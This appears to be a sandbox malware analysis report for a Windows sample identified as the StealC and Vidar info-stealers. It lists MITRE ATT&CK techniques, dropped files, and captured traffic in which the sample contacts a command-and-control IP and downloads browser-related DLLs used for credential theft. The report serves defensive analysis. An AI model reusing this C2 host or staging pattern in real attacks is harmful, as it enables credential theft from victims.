Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.47.253

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 147.45.47.253Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/sqlite3.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/freebl3.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/mozglue.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/msvcp140.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/nss3.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/softokn3.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /58b7620e0f34e81d/vcruntime140.dll HTTP/1.1Host: 147.45.47.253Cache-Control: no-cache

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAKKJKKECFIDGDHIJEGDAKFBFB

C:\ProgramData\CFHIIJDB

C:\ProgramData\EHJDGHJDBFIJKECAECAF

C:\ProgramData\FHIDAKFIJJKJJJKEBKJE

C:\ProgramData\GIJECGDGCBKECAKFBGCAKECGIE

C:\ProgramData\HJEBGHIEBFIJKECBKFHD

C:\ProgramData\JEHIJDGI

C:\ProgramData\KECGDBFCBKFIDHIDHDHIECGDHC

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

Windows Analysis Report
file.exe

Function 0298249D Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Function 00EB0E31 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 393
COMMON

Function 00EB0988 Relevance: 2.8, Strings: 2, Instructions: 272
COMMON

Function 00EB0979 Relevance: 2.7, Strings: 2, Instructions: 234
COMMON

Function 00EB04EC Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Function 00EB04E0 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 00EB0BA7 Relevance: .1, Instructions: 142
COMMON

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre